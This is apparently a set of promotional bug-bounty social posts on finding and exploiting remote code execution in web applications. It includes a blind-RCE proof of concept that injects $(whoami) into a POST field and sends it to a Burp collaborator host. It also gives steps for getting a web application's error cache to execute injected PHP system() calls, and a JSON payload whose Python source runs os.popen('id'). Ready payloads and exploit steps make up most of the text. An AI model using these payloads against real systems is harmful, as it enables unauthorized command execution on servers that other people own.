💀RCE☠️ severity: 10 - find endpoints which pass data without authentication - use burp collab link for blind testing - collect .js .map files for debug and read manually THIS SIMPLE RECON METHOD CAN HELP YOU TO FIND CRITICAL VULN Join my telegram t.me/ShellSec ㅤ

☠️Blind Remote Code Execution🔥 ✅POC: curl -X POST -d \"user=$(whoami)\" http://BURP_LINK" Join my BugBounty Telegram Channel: t.me/ShellSec some time targets might vulnerable but not give you the output. so never forget to try your burp collaborator to get the output. NOTE: always check `User-Agent` Header in your burp collaborator responds, if here you got curl means RCE.

💀Web cache to RCE!😁 While i normally visit the web application i noticed, the website actively makes cache file from clint side to store errors. Now The idea is, if we able to make any custom error then it will be cached, and if any how the error execute on the system we might see the output. ✅Exploit to reproduce final RCE: 1. The webapp was sending request from client side in a array based parameter. 2. Change the valid Input to a PHP code using system function. Here we just try to making a error using the invalid input. 3. Now the web application is not able to handle this input and makes error and store in a cache file. 4. After visiting the cache file, The error message reflecting on the cache file. 5. But wait, it's also execute my PHP code and store the command output in the file. Means we can execute OS commands output in cache file via making error. Means RCE! For more Join my BugBounty telegram channel 👉🏼 t.me/ShellSec

💀RCE via Python Code Injection: ✅ POC: { "name": "darkshadow", "args": {}, "json_schema": {"type": "object", "properties": {}}, "source_code": "def darkshadow():\n import os\n data='0'.encode('utf-8')\n return ''+os.popen('id').read()" } Join my BugBounty telegram channel 👉🏼 t.me/ShellSec